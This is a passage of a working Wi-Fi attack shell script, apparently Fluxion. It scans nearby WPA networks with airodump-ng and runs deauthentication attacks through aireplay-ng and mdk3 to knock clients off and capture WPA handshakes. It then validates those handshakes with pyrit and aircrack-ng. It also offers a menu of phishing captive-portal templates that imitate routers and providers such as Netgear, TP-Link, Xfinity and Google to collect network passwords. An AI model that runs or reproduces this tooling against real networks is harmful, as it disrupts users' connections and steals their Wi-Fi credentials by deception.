${channel_number} conditional_clear rm -rf $DUMP_PATH/dump* xterm $HOLD -title "$header_scanchan [$channel_number]" $TOPLEFTBIG -bg "#000000" -fg "#FFFFFF" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump --channel "$channel_number" -a $WIFI_MONITOR --ignore-negative-one } # Scans the entire network function Scan { conditional_clear rm -rf $DUMP_PATH/dump* if [ "$FLUX_AUTO" = "1" ];then sleep 30 && killall xterm & fi xterm $HOLD -title "$header_scan" $TOPLEFTBIG -bg "#FFFFFF" -fg "#000000" -e airodump-ng --encrypt WPA -w $DUMP_PATH/dump -a $WIFI_MONITOR --ignore-negative-one } # Choose a network function selection { conditional_clear top LINEAS_WIFIS_CSV=`wc -l $DUMP_PATH/$CSVDB | awk '{print $1}'` if [ "$LINEAS_WIFIS_CSV" = "" ];then conditional_clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" Error: your wireless card isn't supported " echo -n -e $transparent"Do you want exit? "$red"["$yellow"Y"$transparent"es / "$yellow"N"$transparent"o"$red"]"$transparent":" read back if [ $back = 'n' ] && [ $back = 'N' ] && [ $back = 'no' ] && [ $back = 'No' ];then clear && exitmode elif [ $back = 'y' ] && [ $back = 'Y' ] && [ $back = 'yes' ] && [ $back = 'Yes' ];then clear && setinterface fi fi if [ $LINEAS_WIFIS_CSV -le 3 ]; then ghost && break fi fluxionap=`cat $DUMP_PATH/$CSVDB | egrep -a -n '(Station|Cliente)' | awk -F : '{print $1}'` fluxionap=`expr $fluxionap - 1` head -n $fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/dump-02.csv tail -n +$fluxionap $DUMP_PATH/$CSVDB &> $DUMP_PATH/clientes.csv echo " WIFI LIST " echo "" echo " ID MAC CHAN SECU PWR ESSID" echo "" i=0 while IFS=, read MAC FTS LTS CHANNEL SPEED PRIVACY CYPHER AUTH POWER BEACON IV LANIP IDLENGTH ESSID KEY;do longueur=${#MAC} PRIVACY=$(echo $PRIVACY| tr -d "^ ") PRIVACY=${PRIVACY:0:4} if [ $longueur -ge 17 ]; then i=$(($i+1)) POWER=`expr $POWER + 100` CLIENTE=`cat $DUMP_PATH/clientes.csv | grep $MAC` if [ "$CLIENTE" != "" ]; then CLIENTE="*" echo -e " "$red"["$yellow"$i"$red"]"$green"$CLIENTE\t""$red"$MAC"\t""$red "$CHANNEL"\t""$green" $PRIVACY"\t ""$red"$POWER%"\t""$red "$ESSID""$transparent"" else echo -e " "$red"["$yellow"$i"$red"]"$white"$CLIENTE\t""$yellow"$MAC"\t""$green "$CHANNEL"\t""$blue" $PRIVACY"\t ""$yellow"$POWER%"\t""$green "$ESSID""$transparent"" fi aidlength=$IDLENGTH assid[$i]=$ESSID achannel[$i]=$CHANNEL amac[$i]=$MAC aprivacy[$i]=$PRIVACY aspeed[$i]=$SPEED fi done < $DUMP_PATH/dump-02.csv # Select the first network if you select the first network if [ "$FLUX_AUTO" = "1" ];then choice=1 else echo echo -e ""$blue "("$white"*"$blue") $selection_1"$transparent"" echo "" echo -e " $selection_2" echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read choice fi if [[ $choice -eq "r" ]]; then ghost fi idlength=${aidlength[$choice]} ssid=${assid[$choice]} channel=$(echo ${achannel[$choice]}|tr -d [:space:]) mac=${amac[$choice]} privacy=${aprivacy[$choice]} speed=${aspeed[$choice]} Host_IDL=$idlength Host_SPEED=$speed Host_ENC=$privacy Host_MAC=$mac Host_CHAN=$channel acouper=${#ssid} fin=$(($acouper-idlength)) Host_SSID=${ssid:1:fin} Host_SSID2=`echo $Host_SSID | sed 's/ //g' | sed 's/\[//g;s/\]//g' | sed 's/\://g;s/\://g' | sed 's/\*//g;s/\*//g' | sed 's/(//g' | sed 's/)//g'` conditional_clear askAP } # FakeAP function askAP { DIGITOS_WIFIS_CSV=`echo "$Host_MAC" | wc -m` if [ $DIGITOS_WIFIS_CSV -le 15 ]; then selection && break fi if [ "$(echo $WIFIDRIVER | grep 8187)" ]; then fakeapmode="airbase-ng" askauth fi if [ "$FLUX_AUTO" = "1" ];then fakeapmode="hostapd"; authmode="handshake"; handshakelocation else top while true; do infoap echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askAP" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askAP_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askAP_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) fakeapmode="hostapd"; authmode="handshake"; handshakelocation; break ;; 2 ) fakeapmode="airbase-ng"; askauth; break ;; 3 ) selection; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } # Test Passwords / airbase-ng function askauth { if [ "$FLUX_AUTO" = "1" ];then authmode="handshake"; handshakelocation else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_askauth" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" $askauth_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $askauth_option_2" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) authmode="handshake"; handshakelocation; break ;; 2 ) authmode="wpa_supplicant"; webinterface; break ;; 3 ) askAP; break ;; * ) echo "$general_case_error"; conditional_clear ;; esac done fi } function handshakelocation { conditional_clear top infoap if [ -f "/root/handshakes/$Host_SSID2-$Host_MAC.cap" ]; then echo -e "Handshake $yellow$Host_SSID-$Host_MAC.cap$transparent found in /root/handshakes." echo -e "${red}Do you want to use this file? (y/N)" echo -ne "$transparent" if [ "$FLUX_AUTO" = "0" ];then read usehandshakefile fi if [ "$usehandshakefile" = "y" -o "$usehandshakefile" = "Y" ]; then handshakeloc="/root/handshakes/$Host_SSID2-$Host_MAC.cap" fi fi if [ "$handshakeloc" = "" ]; then echo echo -e "handshake location (Example: $red$WORK_DIR.cap$transparent)" echo -e "Press ${yellow}ENTER$transparent to skip" echo echo -ne "Path: " if [ "$FLUX_AUTO" = "0" ];then read handshakeloc fi fi if [ "$handshakeloc" = "" ]; then deauthforce else if [ -f "$handshakeloc" ]; then pyrit -r "$handshakeloc" analyze &>$flux_output_device pyrit_broken=$? if [ $pyrit_broken = 0 ]; then Host_SSID_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d "(" -f2 | cut -d "'" -f2) Host_MAC_loc=$(pyrit -r "$handshakeloc" analyze 2>&1 | grep "^#" | cut -d " " -f3 | tr '[:lower:]' '[:upper:]') else Host_SSID_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $3}') Host_MAC_loc=$(timeout -s SIGKILL 3 aircrack-ng "$handshakeloc" | grep WPA | grep '1 handshake' | awk '{print $2}') fi if [[ "$Host_MAC_loc" == *"$Host_MAC"* ]] && [[ "$Host_SSID_loc" == *"$Host_SSID"* ]]; then if [ $pyrit_broken = 0 ] && pyrit -r $handshakeloc analyze 2>&1 | sed -n /$(echo $Host_MAC | tr '[:upper:]' '[:lower:]')/,/^#/p | grep -vi "AccessPoint" | grep -qi "good,"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo -e $yellow "Corrupted handshake" $transparent echo sleep 2 echo "Do you want to try aicrack-ng instead of pyrit to verify the handshake? [ENTER = NO]" echo read handshakeloc_aircrack echo -ne "$transparent" if [ "$handshakeloc_aircrack" = "" ]; then handshakelocation else if timeout -s SIGKILL 3 aircrack-ng $handshakeloc | grep -q "1 handshake"; then cp "$handshakeloc" $DUMP_PATH/$Host_MAC-01.cap certssl else echo "Corrupted handshake" sleep 2 handshakelocation fi fi fi else echo -e "${red}$general_error_1$transparent!" echo echo -e "File ${red}MAC$transparent" readarray -t lista_loc < <(pyrit -r $handshakeloc analyze 2>&1 | grep "^#") for i in "${lista_loc[@]}"; do echo -e "$green $(echo $i | cut -d " " -f1) $yellow$(echo $i | cut -d " " -f3 | tr '[:lower:]' '[:upper:]')$transparent ($green $(echo $i | cut -d "(" -f2 | cut -d "'" -f2)$transparent)" done echo -e "Host ${green}MAC$transparent" echo -e "$green #1: $yellow$Host_MAC$transparent ($green $Host_SSID$transparent)" sleep 7 handshakelocation fi else echo -e "File ${red}NOT$transparent present" sleep 2 handshakelocation fi fi } function deauthforce { if [ "$FLUX_AUTO" = "1" ];then handshakemode="normal"; askclientsel else conditional_clear top while true; do echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthforce" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" pyrit" $transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" $deauthforce_option_1" echo -e " "$red"["$yellow"3"$red"]"$red" $general_back" $transparent echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) handshakemode="normal"; askclientsel; break ;; 2 ) handshakemode="hard"; askclientsel; break ;; 3 ) askauth; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } ############################################### < MENU > ############################################### ############################################# < HANDSHAKE > ############################################ # Type of deauthentication to be performed function askclientsel { if [ "$FLUX_AUTO" = "1" ];then deauth all else conditional_clear while true; do top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Deauth all"$transparent echo -e " "$red"["$yellow"2"$red"]"$transparent" Deauth all [mdk3]" echo -e " "$red"["$yellow"3"$red"]"$transparent" Deauth target " echo -e " "$red"["$yellow"4"$red"]"$transparent" Rescan networks " echo -e " "$red"["$yellow"5"$red"]"$transparent" Exit" echo " " echo -n -e ""$red"["$blue"deltaxflux"$yellow"@"$white"fluxion"$red"]-["$yellow"~"$red"]"$transparent"" read yn echo "" case $yn in 1 ) deauth all; break ;; 2 ) deauth mdk3; break ;; 3 ) deauth esp; break ;; 4 ) killall airodump-ng &>$flux_output_device; ghost; break;; 5 ) exitmode; break ;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # function deauth { conditional_clear iwconfig $WIFI_MONITOR channel $Host_CHAN case $1 in all ) DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv ;; mdk3 ) DEAUTH=deauthmdk3 capture & $DEAUTH & CSVDB=$Host_MAC-01.csv ;; esp ) DEAUTH=deauthesp HOST=`cat $DUMP_PATH/$CSVDB | grep -a $Host_MAC | awk '{ print $1 }'| grep -a -v 00:00:00:00| grep -v $Host_MAC` LINEAS_CLIENTES=`echo "$HOST" | wc -m | awk '{print $1}'` if [ $LINEAS_CLIENTES -le 5 ]; then DEAUTH=deauthall capture & $DEAUTH CSVDB=$Host_MAC-01.csv deauth fi capture for CLIENT in $HOST; do Client_MAC=`echo ${CLIENT:0:17}` deauthesp done $DEAUTH CSVDB=$Host_MAC-01.csv ;; esac deauthMENU } function deauthMENU { if [ "$FLUX_AUTO" = "1" ];then while true;do checkhandshake && sleep 5 done else while true; do conditional_clear clear top echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_deauthMENU " echo echo -e "Status handshake: $Handshake_statuscheck" echo echo -e " "$red"["$yellow"1"$red"]"$grey" $deauthMENU_option_1" echo -e " "$red"["$yellow"2"$red"]"$transparent" $general_back " echo -e " "$red"["$yellow"3"$red"]"$transparent" Select another network" echo -e " "$red"["$yellow"4"$red"]"$transparent" Exit" echo -n ' #> ' read yn case $yn in 1 ) checkhandshake;; 2 ) conditional_clear; killall xterm; askclientsel; break;; 3 ) killall airodump-ng mdk3 aireplay-ng xterm &>$flux_output_device; CSVDB=dump-01.csv; breakmode=1; killall xterm; selection; break ;; 4 ) exitmode; break;; * ) echo " $general_case_error"; conditional_clear ;; esac done fi } # Capture all function capture { conditional_clear if ! ps -A | grep -q airodump-ng; then rm -rf $DUMP_PATH/$Host_MAC* xterm $HOLD -title "Capturing data on channel --> $Host_CHAN" $TOPRIGHT -bg "#000000" -fg "#FFFFFF" -e airodump-ng --bssid $Host_MAC -w $DUMP_PATH/$Host_MAC -c $Host_CHAN -a $WIFI_MONITOR --ignore-negative-one & fi } # Check the handshake before continuing function checkhandshake { if [ "$handshakemode" = "normal" ]; then if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device wpaclean $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap $DUMP_PATH/$Host_MAC-01.cap &>$flux_output_device certssl i=2 break else Handshake_statuscheck="${red}Not_Found$transparent" fi elif [ "$handshakemode" = "hard" ]; then pyrit -r $DUMP_PATH/$Host_MAC-01.cap -o $DUMP_PATH/test.cap stripLive &>$flux_output_device if pyrit -r $DUMP_PATH/test.cap analyze 2>&1 | grep -q "good,"; then killall airodump-ng mdk3 aireplay-ng &>$flux_output_device pyrit -r $DUMP_PATH/test.cap -o $HANDSHAKE_PATH/$Host_SSID2-$Host_MAC.cap strip &>$flux_output_device certssl i=2 break else if aircrack-ng $DUMP_PATH/$Host_MAC-01.cap | grep -q "1 handshake"; then Handshake_statuscheck="${yellow}Corrupted$transparent" else Handshake_statuscheck="${red}Not_found$transparent" fi fi rm $DUMP_PATH/test.cap &>$flux_output_device fi } ############################################# < HANDSHAKE > ############################################ function certssl { # Test if the ssl certificate is generated correcly if there is any if [ -f $DUMP_PATH/server.pem ]; then if [ -s $DUMP_PATH/server.pem ]; then webinterface break else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true;do conditional_clear top echo " " echo -e ""$red"["$yellow"2"$red"]"$transparent" Certificate invalid or not present, please choose an option" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSL certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl;break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi else if [ "$FLUX_AUTO" = "1" ];then creassl fi while true; do conditional_clear top echo " " echo " Certificate invalid or not present, please choice" echo " " echo -e " "$red"["$yellow"1"$red"]"$grey" Create a SSL certificate" echo -e " "$red"["$yellow"2"$red"]"$transparent" Search for SSl certificate" # hop to certssl check again echo -e " "$red"["$yellow"3"$red"]"$red" Exit" $transparent echo " " echo -n ' #> ' read yn case $yn in 1 ) creassl;; 2 ) certssl; break;; 3 ) exitmode; break;; * ) echo "$general_case_error"; conditional_clear esac done fi } # Create Self-Signed SSL Certificate function creassl { xterm -title "Create Self-Signed SSL Certificate" -e openssl req -subj '/CN=SEGURO/O=SEGURA/OU=SEGURA/C=US' -new -newkey rsa:2048 -days 365 -nodes -x509 -keyout /$DUMP_PATH/server.pem -out /$DUMP_PATH/server.pem # more details there https://www.openssl.org/docs/manmaster/apps/openssl.html certssl } ############################################# < ATAQUE > ############################################ # Select attack strategie that will be used function webinterface { chmod 400 $DUMP_PATH/server.pem if [ "$FLUX_AUTO" = "1" ];then matartodo; ConnectionRESET; selection else while true; do conditional_clear top infoap echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_webinterface" echo echo -e " "$red"["$yellow"1"$red"]"$grey" Web Interface" echo -e " "$red"["$yellow"2"$red"]"$transparent" \e[1;31mExit"$transparent"" echo echo -n "#? " read yn case $yn in 1 ) matartodo; ConnectionRESET; selection; break;; 2 ) matartodo; exitmode; break;; esac done fi } function ConnectionRESET { if [ "$FLUX_AUTO" = "1" ];then webconf=1 else while true; do conditional_clear top infoap n=1 echo echo -e ""$red"["$yellow"2"$red"]"$transparent" $header_ConnectionRESET" echo echo -e " "$red"["$yellow"$n"$red"]"$transparent" English [ENG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" German [GER] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Russian [RUS] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Italian [IT] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Spanish [ESP] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [POR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Chinese [CN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" French [FR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Turkish [TR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Romanian [RO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hungarian [HU] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arabic [ARA] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Greek [GR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Czech [CZ] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Norwegian [NO] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Bulgarian [BG] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Serbian [SRB] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Polish [PL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Indonesian [ID] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Dutch [NL] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Danish [DAN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Hebrew [HE] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Thai [TH] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Portuguese [BR] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Slovenian [SVN] (NEUTRA)";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Belkin [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Huawei [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Verizon [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Netgear [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Arris [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Vodafone [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" TP-Link [ENG]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" KPN [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Ziggo2016 [NL]";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" FRITZBOX_ENG[ENG] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" GENEXIS_DE [DE] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Netgear[Login-Netgear] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Login-Xfinity[Login-Xfinity] ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Telekom ";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" Google";n=` expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent" MOVISTAR [ESP]";n=`expr $n + 1` echo -e " "$red"["$yellow"$n"$red"]"$transparent"\e[1;31m $general_back"$transparent"" echo echo -n "#? " read webconf if [ "$webconf" = "1" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ENG DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ENG DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ENG DIALOG_WEB_OK=$DIALOG_WEB_OK_ENG DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ENG DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ENG DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ENG DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ENG DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ENG DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ENG NEUTRA break elif [ "$webconf" = "2" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_GER DIALOG_WEB_INFO=$DIALOG_WEB_INFO_GER DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_GER DIALOG_WEB_OK=$DIALOG_WEB_OK_GER DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_GER DIALOG_WEB_BACK=$DIALOG_WEB_BACK_GER DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_GER DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_GER DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_GER DIALOG_WEB_DIR=$DIALOG_WEB_DIR_GER NEUTRA break elif [ "$webconf" = "3" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RUS DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RUS DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RUS DIALOG_WEB_OK=$DIALOG_WEB_OK_RUS DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RUS DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RUS DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RUS DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RUS DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RUS DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RUS NEUTRA break elif [ "$webconf" = "4" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_IT DIALOG_WEB_INFO=$DIALOG_WEB_INFO_IT DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_IT DIALOG_WEB_OK=$DIALOG_WEB_OK_IT DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_IT DIALOG_WEB_BACK=$DIALOG_WEB_BACK_IT DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_IT DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_IT DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_IT DIALOG_WEB_DIR=$DIALOG_WEB_DIR_IT NEUTRA break elif [ "$webconf" = "5" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ESP DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ESP DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ESP DIALOG_WEB_OK=$DIALOG_WEB_OK_ESP DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ESP DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ESP DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ESP DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ESP DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ESP DIALOG_WEB_DIR=$DIALOG_WEB_DIR_ESP NEUTRA break elif [ "$webconf" = "6" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_POR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_POR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_POR DIALOG_WEB_OK=$DIALOG_WEB_OK_POR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_POR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_POR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_POR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_POR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_POR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_POR NEUTRA break elif [ "$webconf" = "7" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_CN DIALOG_WEB_INFO=$DIALOG_WEB_INFO_CN DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_CN DIALOG_WEB_OK=$DIALOG_WEB_OK_CN DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_CN DIALOG_WEB_BACK=$DIALOG_WEB_BACK_CN DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_CN DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_CN DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_CN DIALOG_WEB_DIR=$DIALOG_WEB_DIR_CN NEUTRA break elif [ "$webconf" = "8" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_FR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_FR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_FR DIALOG_WEB_OK=$DIALOG_WEB_OK_FR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_FR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_FR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_FR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_FR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_FR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_FR NEUTRA break elif [ "$webconf" = "9" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_TR DIALOG_WEB_INFO=$DIALOG_WEB_INFO_TR DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_TR DIALOG_WEB_OK=$DIALOG_WEB_OK_TR DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_TR DIALOG_WEB_BACK=$DIALOG_WEB_BACK_TR DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_TR DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_TR DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_TR DIALOG_WEB_DIR=$DIALOG_WEB_DIR_TR NEUTRA break elif [ "$webconf" = "10" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_RO DIALOG_WEB_INFO=$DIALOG_WEB_INFO_RO DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_RO DIALOG_WEB_OK=$DIALOG_WEB_OK_RO DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_RO DIALOG_WEB_BACK=$DIALOG_WEB_BACK_RO DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_RO DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_RO DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_RO DIALOG_WEB_DIR=$DIALOG_WEB_DIR_RO NEUTRA break elif [ "$webconf" = "11" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_HU DIALOG_WEB_INFO=$DIALOG_WEB_INFO_HU DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_HU DIALOG_WEB_OK=$DIALOG_WEB_OK_HU DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_HU DIALOG_WEB_BACK=$DIALOG_WEB_BACK_HU DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_HU DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_HU DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_HU DIALOG_WEB_DIR=$DIALOG_WEB_DIR_HU NEUTRA break elif [ "$webconf" = "12" ]; then DIALOG_WEB_ERROR=$DIALOG_WEB_ERROR_ARA DIALOG_WEB_INFO=$DIALOG_WEB_INFO_ARA DIALOG_WEB_INPUT=$DIALOG_WEB_INPUT_ARA DIALOG_WEB_OK=$DIALOG_WEB_OK_ARA DIALOG_WEB_SUBMIT=$DIALOG_WEB_SUBMIT_ARA DIALOG_WEB_BACK=$DIALOG_WEB_BACK_ARA DIALOG_WEB_ERROR_MSG=$DIALOG_WEB_ERROR_MSG_ARA DIALOG_WEB_LENGTH_MIN=$DIALOG_WEB_LENGTH_MIN_ARA DIALOG_WEB_LENGTH_MAX=$DIALOG_WEB_LENGTH_MAX_ARA 